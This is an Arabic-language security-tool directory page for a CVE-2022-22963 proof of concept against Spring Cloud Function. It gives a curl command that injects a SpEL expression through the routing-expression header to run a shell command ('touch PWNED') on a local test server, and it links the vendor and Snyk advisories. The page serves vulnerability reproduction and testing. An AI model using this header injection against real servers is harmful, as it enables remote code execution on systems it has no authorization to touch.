Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-22963-PoC | Kitploit
أدوات/GitHubGitHub/kirill89/cve-2022-22963-poc
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubkirill89/cve-2022-22963-poc

CVE-2022-22963-PoC

عرض المستودع
93منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-22963 RCE PoC

مثال بسيط لإعادة إنتاج تنفيذ التعليمات البرمجية عن بُعد (RCE) في CVE-2022-22963 عبر org.springframework.cloud:spring-cloud-function-core.

الاستغلال

تشغيل الخادم

root@kitploit:~
mvn spring-boot:run

إرسال طلب

root@kitploit:~
curl -X POST -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch PWNED")' -d xxx http://127.0.0.1:8080/functionRouter

نتيجةً للاستغلال، سيتم إنشاء الملف PWNED بجوار pom.xml.

معلومات إضافية

  • النشرة الأصلية: https://tanzu.vmware.com/security/cve-2022-22963
  • نشرة Snyk: https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORKCLOUD-2436645
  • يستند هذا PoC إلى: https://github.com/Pizz33/Spring-Cloud-Function-SpEL
تنزيل الأداة